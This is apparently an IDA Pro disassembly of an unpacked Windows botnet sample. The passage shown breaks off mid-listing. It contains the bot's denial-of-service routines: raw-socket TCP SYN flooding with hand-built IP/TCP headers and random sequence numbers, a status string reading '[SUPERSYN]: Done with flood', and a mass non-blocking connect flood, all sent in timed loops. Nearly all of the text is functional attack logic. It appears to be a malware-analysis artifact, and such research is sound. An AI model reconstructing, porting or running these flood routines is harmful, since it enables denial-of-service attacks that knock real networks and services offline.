; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6CE9501B368971EA10A0C0D7DB30F92E ; File Name : u:\work\6ce9501b368971ea10a0c0d7db30f92e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00020290 ( 131728.) ; Section size in file : 00020290 ( 131728.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0 segment para public 'CODE' use32 assume cs:_0 ;org 401000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40D2E0+3A15o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset dword_424040 push eax call sub_415480 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40BAE7 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40A5B3 push [ebp+var_290] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_4363E0 ; WSAStartup test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_43650C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call ds:dword_436448 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call ds:dword_436468 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call ds:dword_436468 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call ds:dword_436468 ; htons mov [ebp+var_12], ax call sub_4154DC movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_436468 ; htons push 12345678h mov [ebp+var_14], ax call ds:dword_436464 ; htonl push offset dword_4240C0 mov [ebp+var_10], eax push [ebp+arg_8] call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push (offset loc_4240B3+1) push [ebp+arg_8] call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push (offset loc_4240A7+1) push [ebp+arg_8] call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_4154DC push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_4154DC push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call ds:dword_436468 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call ds:dword_422050 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call ds:dword_42204C ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_415930 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_4154DC cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_436468 ; htons mov [ebp+var_14], ax call sub_4154DC mov edi, eax shl edi, 10h call sub_4154DC or edi, eax push edi call ds:dword_436468 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_436464 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_436468 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_415560 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_415560 lea eax, [ebp+var_B4] push 34h push eax call sub_40957F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_415560 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_415560 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415500 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40957F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_415560 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call ds:dword_4364CC ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call ds:dword_42204C ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset loc_424078 push eax call sub_415480 lea eax, [ebp+var_F4] push eax call sub_40A5B3 add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call ds:dword_436500 ; closesocket pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call ds:dword_4363C8 ; WSACleanup mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409410 push [esp+10h+arg_4] mov esi, eax call sub_4159EF push [esp+14h+arg_C] mov ebx, eax call sub_4159EF mov edi, eax call sub_4154DC cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40D2E0+3C03o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call ds:dword_4364E8 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset loc_424204 push eax call sub_415480 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40BAE7 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40A5B3 push [ebp+var_38] call sub_415248 pop ecx pop ecx push edi call ds:dword_422044 ; ExitThread loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call ds:dword_436448 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40155C call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push (offset loc_4241BB+1) push eax call sub_415480 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40BAE7 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40A5B3 push [ebp+var_38] call sub_415248 pop ecx pop ecx push edi call ds:dword_422044 ; ExitThread loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call ds:dword_4364A8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push (offset loc_42418B+1) push eax call sub_415480 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40BAE7 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40A5B3 push [ebp+var_38] call sub_415248 pop ecx pop ecx push edi call ds:dword_422044 ; ExitThread loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_415500 add esp, 0Ch mov [ebp+var_1C], 2 push edi call ds:dword_436468 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call ds:dword_4364A8 ; inet_addr mov esi, ds:dword_422048 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov ds:byte_4321A8, 45h call ds:dword_436468 ; htons cmp [ebp+var_2C], edi mov ds:word_4321AA, ax mov ds:word_4321AC, bx mov ds:word_4321AE, di mov ds:byte_4321B0, 80h mov ds:byte_4321B1, bl mov ds:word_4321B2, di jz short loc_401687 call sub_4154DC mov ebx, eax shl ebx, 8 call sub_4154DC add ebx, eax shl ebx, 8 call sub_4154DC add ebx, eax shl ebx, 8 call sub_4154DC add ebx, eax push 1 mov ds:dword_4321B4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_409526 pop ecx push eax call ds:dword_4364A8 ; inet_addr mov ds:dword_4321B4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov ds:dword_4321B8, eax call sub_4154DC cdq mov ecx, 100h idiv ecx mov ds:byte_4321BC, dl call sub_4154DC cdq mov ecx, 100h idiv ecx mov ds:byte_4321BD, dl call sub_4154DC cdq mov ecx, 0F0h push 400h idiv ecx mov ds:word_4321BE, di mov ds:word_4321C2, bx inc edx mov ds:word_4321C0, dx call sub_4154DC cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4321C4 call sub_415500 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4321A8 push [ebp+var_4] call ds:dword_4364CC ; sendto cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call ds:dword_436500 ; closesocket call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset loc_42412C lea eax, [ebp+var_3BC] push 200h push eax call sub_4159FA add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40BAE7 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40A5B3 push [ebp+var_38] call sub_415248 pop ecx pop ecx push edi call ds:dword_422044 ; ExitThread loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call ds:dword_436500 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset dword_4240CC push eax call sub_415480 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40BAE7 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40A5B3 push [ebp+var_38] call sub_415248 pop ecx pop ecx push edi call ds:dword_422044 ; ExitThread sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40D2E0+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_415480 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40BAE7 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40A5B3 push [ebp+var_10] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_415500 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call ds:dword_436468 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 call ds:dword_422200 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_422204 ; ioctlsocket loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call ds:dword_422208 ; connect add esi, 4 dec ebx jnz short loc_401954 push 64h call ds:dword_422054 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] call ds:dword_42220C ; closesocket add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409410 push [esp+10h+arg_4] mov edi, eax call sub_4159EF push [esp+14h+arg_8] mov ebx, eax call sub_4159EF mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40D2E0+3906o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_424270 push eax call sub_415480 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40BAE7 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40A5B3 push [ebp+var_10] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_4363E0 ; WSAStartup test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_43650C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call ds:dword_436448 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_415500 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call ds:dword_436468 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call ds:dword_436468 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call ds:dword_436468 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call ds:dword_436468 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_422050 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_42204C ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_415930 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_4154DC cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_436468 ; htons mov [ebp+var_34], ax call sub_4154DC mov edi, eax shl edi, 10h call sub_4154DC or edi, eax push edi call ds:dword_436468 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_436464 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_436468 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_415560 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_415560 lea eax, [ebp+var_B4] push 34h push eax call sub_40957F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_415560 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_415560 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415500 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40957F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_415560 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call ds:dword_4364CC ; sendto cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_42204C ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_F4] push (offset loc_4242A7+1) push eax call sub_415480 lea eax, [ebp+var_F4] push eax call sub_40A5B3 add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call ds:dword_436500 ; closesocket pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call ds:dword_4363C8 ; WSACleanup mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409410 push [esp+10h+arg_4] mov esi, eax call sub_4159EF push [esp+14h+arg_8] mov ebx, eax call sub_4159EF mov edi, eax call sub_4154DC cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40D2E0+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr 